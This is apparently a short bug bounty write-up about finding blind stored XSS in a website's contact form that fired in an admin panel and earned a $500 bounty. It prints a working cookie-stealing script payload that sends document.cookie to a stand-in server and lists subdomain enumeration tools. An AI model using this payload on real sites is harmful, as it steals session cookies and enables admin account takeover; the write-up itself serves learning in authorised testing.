Hello Hackers,

My report on how the admin panel took over and I got X, $500 bounty from my report

Hello Hackers,

Blind XSS is a type of stored XSS, the XSS payload will be executed when the victim visits the vuln page
Now you can’t see the pop alert
But we will use a payload that sends a request to our server when the payload is excuted

First, you want to know that Blind XSS will probably find it on a feedback form, contact form, or any form that deals with people that have a role in the website.

you can test the website for Blind XSS using this payload:

“><script>document.location= “http://your-server/?cookie=" + document.cookie</script>

If this form is VULN for Blind XSS you will see a request on your server and can now steal the cookie

Or using :

1- XSShunter

2-XSSreport

First I collected the subdomains
I’m using assentfinder , amas , subfinder , sublist3rt and findomain to collect subdomains
After that I found the subdomain looks like this:
https://www.targert.com/contactus
I’m browsing this subdomain after that put my payload in all the inputs and I’m submit the form
Two days after submitting the form, I received a request to have my load removed
Now you want to ask me a question:
How do I know that the payload has been excuted in the admin panel?
After I saw the code I can see the sysadmin
As shown in the picture

Then i submitted this Bug and after 2 days the status was changed to Triaged

after that i get the bounty :

I hope this report is useful for you !

Thanks,